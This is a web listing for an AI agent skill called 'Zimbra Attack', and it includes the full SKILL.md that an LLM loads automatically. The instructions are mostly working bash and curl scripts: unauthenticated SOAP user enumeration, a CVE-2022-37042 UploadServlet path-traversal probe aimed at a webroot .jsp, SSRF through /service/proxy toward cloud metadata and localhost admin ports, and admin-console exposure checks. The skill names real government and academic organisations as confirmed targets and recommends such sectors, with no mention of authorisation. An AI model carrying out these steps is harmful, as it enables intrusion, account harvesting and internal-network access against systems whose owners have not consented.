Zimbra Attack logo

Zimbra Attack

CommunityPopular
uphiago
zimbra-attack

Zimbra SOAP user enum, CVE-2022-37042, SSRF when webmail.

Overview

Publisheruphiago
Repositoryrecon-skills
Skill namezimbra-attack
Stars
1.3K
Forks
213
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by uphiago on GitHub. Read the source before you install it.

Installation

Install the Zimbra Attack AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/uphiago/recon-skills.git /tmp/recon-skills
mkdir -p .claude/skills
cp -r /tmp/recon-skills/recon/zimbra-attack .claude/skills/zimbra-attack
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Zimbra Attack in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Zimbra Attack on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Zimbra Attack is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Zimbra Attack Skill

Zimbra Collaboration Suite attack surface — SOAP API user enumeration without authentication, version fingerprinting, UploadServlet path traversal (CVE-2022-37042), /service/proxy internal SSRF, and Admin console access. Confirmed on IGN Argentina (Zimbra 8.8.11, admin user confirmed, UploadServlet active), gov-finance-portal (Zimbra webmail, SOAP auth functional), and ITERJ (Zimbra webmail active).

When to Use

  • Target has webmail., mail., or zimbra. subdomains.
  • Redirect to /zimbra/ path on mail server.
  • Server header or page title contains "Zimbra".
  • After subdomain-enumeration discovers webmail hosts.
  • Government, university, or enterprise targets (Zimbra is common in these sectors).

Prerequisites

  • terminal with curl, python3.
  • Target Zimbra URL (typically https://webmail.target.com).
  • For CVE exploitation: knowledge of target Zimbra version.

How to Run

bash
# Quick Zimbra detection
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/" | grep -iE "zimbra|zmail"

# SOAP user enumeration
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://TARGET/service/soap/" \
  -H "Content-Type: application/xml" \
  -d '<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header><context xmlns="urn:zimbra"/></soap:Header><soap:Body><AuthRequest xmlns="urn:zimbraAccount"><account by="name">admin@TARGET</account><password>test</password></AuthRequest></soap:Body></soap:Envelope>'

Quick Reference

EndpointWhat It RevealsRisk
/service/soap/SOAP API — user enum, auth testingHigh
/service/soap/AuthRequestDifferentiates valid user vs bad passwordHigh
/zimbraAdmin/Admin console (if exposed)Critical
/service/upload?fmt=extUploadServlet (CVE-2022-37042)Critical
/service/proxy?target=Internal SSRFCritical
/service/extension/Extension listingMedium
/zimbra/downloads/index.htmlVersion disclosureMedium
/zimbra/skins/_base/logos/LoginBanner.pngZimbra branding confirmationInfo

Procedure

Phase 1 — Detection & Version Fingerprinting

bash
TARGET="$1"
OUTDIR="$OUTDIR/zimbra"
mkdir -p "$OUTDIR"

echo "[*] Zimbra detection on $TARGET"

# Check for Zimbra redirect/headers
INITIAL=$(curl -skI --max-time 10 --connect-timeout 10 "https://$TARGET/" 2>/dev/null)
if echo "$INITIAL" | grep -qi "zimbra\|zmail"; then
  echo "[+] Zimbra confirmed in headers"
fi

# Check page title
TITLE=$(curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/" 2>/dev/null | grep -Eo '<title>\K[^<]+')
if echo "$TITLE" | grep -qi "zimbra"; then
  echo "[+] Zimbra confirmed — Title: $TITLE"
fi

# Version from download page
VER=$(curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/zimbra/downloads/index.html" 2>/dev/null | grep -Eo 'Zimbra[^<]+' | head -1)
if [[ -n "$VER" ]]; then
  echo "[+] Version: $VER"
fi

# Version from SOAP response
SOAP_RESP=$(curl -sk -X POST --max-time 10 --connect-timeout 10 "https://$TARGET/service/soap/" \
  -H "Content-Type: application/xml" \
  -d '<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header><context xmlns="urn:zimbra"/></soap:Header><soap:Body><GetVersionInfoRequest xmlns="urn:zimbraAdmin"/></soap:Body></soap:Envelope>' 2>/dev/null)
ZIMBRA_VER=$(echo "$SOAP_RESP" | grep -Eo '<VersionString>\K[^<]+')
ZIMBRA_RELEASE=$(echo "$SOAP_RESP" | grep -Eo '<ReleaseString>\K[^<]+')
if [[ -n "$ZIMBRA_VER" ]]; then
  echo "[+] Zimbra version from SOAP: $ZIMBRA_VER ($ZIMBRA_RELEASE)"
fi

Phase 2 — SOAP User Enumeration

bash
TARGET="$1"

echo "[*] SOAP user enumeration on $TARGET"

# Test users
USERS=("admin" "administrator" "spam" "ham" "virus" "galsync" "wiki"
       "user" "webmaster" "info" "contato" "suporte" "test")

for user in "${USERS[@]}"; do
  # AuthRequest with wrong password — differentiates valid vs invalid user
  RESP=$(curl -sk -X POST --max-time 5 --connect-timeout 5 "https://$TARGET/service/soap/" \
    -H "Content-Type: application/xml" \
    -d "<soap:Envelope xmlns:soap=\"http://www.w3.org/2003/05/soap-envelope\"><soap:Header><context xmlns=\"urn:zimbra\"/></soap:Header><soap:Body><AuthRequest xmlns=\"urn:zimbraAccount\"><account by=\"name\">$user@$TARGET_DOMAIN</account><password>wrongpass</password></AuthRequest></soap:Body></soap:Envelope>" 2>/dev/null)

  if echo "$RESP" | grep -q "authentication failed"; then
    echo "  [VALID] $user — user EXISTS (wrong password)"
  elif echo "$RESP" | grep -q "no such account"; then
    echo "  [INVALID] $user — does not exist"
  elif echo "$RESP" | grep -q "<authToken>"; then
    echo "  [CRITICAL] $user — DEFAULT CREDENTIALS!"
  fi
done

Phase 3 — CVE-2022-37042 UploadServlet Path Traversal

bash
TARGET="$1"

echo "[*] CVE-2022-37042 check (UploadServlet path traversal)"

# This CVE allows unauthenticated file write via path traversal in UploadServlet
# Affects: Zimbra < 9.0.0 P27, < 8.8.15 P34

UPLOAD_RESP=$(curl -sk -X POST --max-time 10 --connect-timeout 10 "https://$TARGET/service/upload?fmt=extended" \
  -H "Content-Type: application/octet-stream" \
  -d "test" 2>/dev/null)

if echo "$UPLOAD_RESP" | grep -qi "upload\|success\|clientToken"; then
  echo "  [+] UploadServlet ACTIVE — CVE-2022-37042 potentially exploitable"
  echo "  Response: $(echo "$UPLOAD_RESP" | head -1)"

  # Test path traversal (doesn't write — just tests if the endpoint processes it)
  TRAVERSAL_RESP=$(curl -sk -X POST --max-time 10 --connect-timeout 10 "https://$TARGET/service/upload?fmt=extended&lbfums=" \
    -H "Content-Type: application/octet-stream" \
    -d "../../../../../../opt/zimbra/jetty/webapps/zimbra/public/test.jsp" 2>/dev/null)
  if echo "$TRAVERSAL_RESP" | grep -qi "success"; then
    echo "  [CRITICAL] Path traversal appears functional"
  fi
else
  echo "  [-] UploadServlet not accessible (patched or blocked)"
fi

Phase 4 — Internal SSRF via /service/proxy

bash
TARGET="$1"

echo "[*] Internal SSRF via /service/proxy"

# Zimbra proxy endpoint allows internal HTTP requests
# Requires LOW-privilege auth, but worth probing unauthenticated

PROXY_TARGETS=(
  "http://localhost:8080/"
  "http://127.0.0.1:7071/"       # Zimbra Admin port
  "http://127.0.0.1:22/"
  "http://[REDACTED_IP]/latest/meta-data/"  # AWS IMDS
  "http://metadata.google.internal/"
)

for pt in "${PROXY_TARGETS[@]}"; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 \
    "https://$TARGET/service/proxy?target=${pt}" 2>/dev/null)
  if [[ "$code" == "200" || "$code" == "500" ]]; then
    echo "  [SSRF] $pt → HTTP $code (internal service may be reachable)"
  fi
done

Phase 5 — Zimbra Admin Console

bash
TARGET="$1"

echo "[*] Zimbra Admin console check"

ADMIN_CODE=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 --connect-timeout 10 "https://$TARGET/zimbraAdmin/" 2>/dev/null)

if [[ "$ADMIN_CODE" == "200" ]]; then
  echo "  [+] Zimbra Admin console EXPOSED"
elif [[ "$ADMIN_CODE" == "302" ]]; then
  LOCATION=$(curl -skI --max-time 5 --connect-timeout 5 "https://$TARGET/zimbraAdmin/" 2>/dev/null | grep -i "location:" | sed 's/.*: //')
  echo "  [REDIR] Admin console redirects to: $LOCATION"
else
  echo "  [-] Admin console: HTTP $ADMIN_CODE"
fi

# Check port 7071 (Zimbra Admin port, sometimes exposed without reverse proxy)
ADMIN_PORT=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "https://$TARGET:7071/zimbraAdmin/" 2>/dev/null)
[[ "$ADMIN_PORT" == "200" ]] && echo "  [CRITICAL] Admin console on port 7071 EXPOSED"

Pitfalls

  • SOAP user enumeration is noisy. Each request generates a login failure in Zimbra audit logs.
  • UploadServlet may be blocked at nginx. If Zimbra is behind a reverse proxy, path traversal may be blocked even if the servlet is active.
  • Proxy SSRF requires authentication in newer versions. Pre-8.8.15 it was accessible without auth.
  • Zimbra Admin on 7071 is internal by default. Only exposed if misconfigured or port-forwarded.

Verification

  • SOAP AuthRequest MUST differentiate between "authentication failed" (valid user) and "no such account" (invalid user).
  • Zimbra version MUST be confirmed from at least 2 sources (SOAP GetVersionInfo, download page, or banner).
  • UploadServlet response MUST confirm the endpoint processes uploads.
  • All findings must be documented with exact curl commands and responses.

Frequently asked questions

What does the Zimbra Attack AI skill do?

Zimbra SOAP user enum, CVE-2022-37042, SSRF when webmail.

Why use Zimbra Attack on TypingMind?

Because you install it once and use it with any model. Zimbra Attack is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Zimbra Attack in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/uphiago/recon-skills/tree/main/recon/zimbra-attack. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Zimbra Attack?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Zimbra Attack?

As many as you like. As long as a model supports skills, you can use Zimbra Attack with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Zimbra Attack AI skill free?

Yes. It is published on GitHub by uphiago under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇